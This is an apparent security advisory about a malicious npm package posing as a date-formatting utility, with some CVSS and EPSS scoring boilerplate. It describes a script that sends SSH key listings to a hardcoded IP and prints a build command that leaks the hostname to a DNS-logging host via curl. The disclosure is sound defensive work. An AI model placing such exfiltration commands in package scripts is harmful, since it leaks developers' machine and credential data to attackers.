Vulnerability
Malicious code in houzidawang806 (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2dbf603db6d0a3434c6c417dd460f26d08b9e230c03926f05987bb3841d3c72b) Package self-describes as 'A simple date formatting utility' but ships two distinct attacker primitives. (1) postinstall.js enumerates ~/.ssh/ for *.pub files and POSTs the listing along with os.userInfo().username and platform to the hardcoded bare-IP endpoint https://124.221.154.135:443/post. The file's comments explicitly label sections as targets and C2 server in Chinese ('窃取目标', 'C2 服务器', '模拟外传数据到攻击者服务器 (C2)'). The script is shipped in the tarball but not wired into package.json lifecycle hooks, so it does not auto-execute on `npm install`; however, any tooling or developer that runs the shipped postinstall.js will exfiltrate SSH key listings to the attacker. (2) package.json scripts.build runs `curl http://$(hostname).ba6511da.log.dnslog.pp.ua`, embedding the installer's hostname as a subdomain of a public DNS-logging service used for out-of-band exfiltration. Running `npm run build` leaks the machine hostname to the attacker via DNS. The doc/behavior mismatch (a date-formatting library has no need for SSH directory enumeration, hostname recon, or hardcoded IP callbacks) plus the explicit C2-labeled comments make malicious intent unambiguous.
No CVSS base score from NVD or GHSA yet. NVD typically scores within 24–72 hours of publication; GHSA usually within a day for OSS-flagged CVEs. Last record update .
For interim severity, fall back on KEV / EXPLOIT signals and the EPSS percentile (lower panel). Re-check this CVE after one cron tick — the score lands automatically when the source publishes.
FIRST.org publishes EPSS daily. Coverage isn't universal — pre-disclosure CVEs and reserved IDs don't carry an EPSS score until at least one exploitation signal lands. Score will appear within 24 hours of the next EPSS pull.
No exploitation, limited impact or prevalence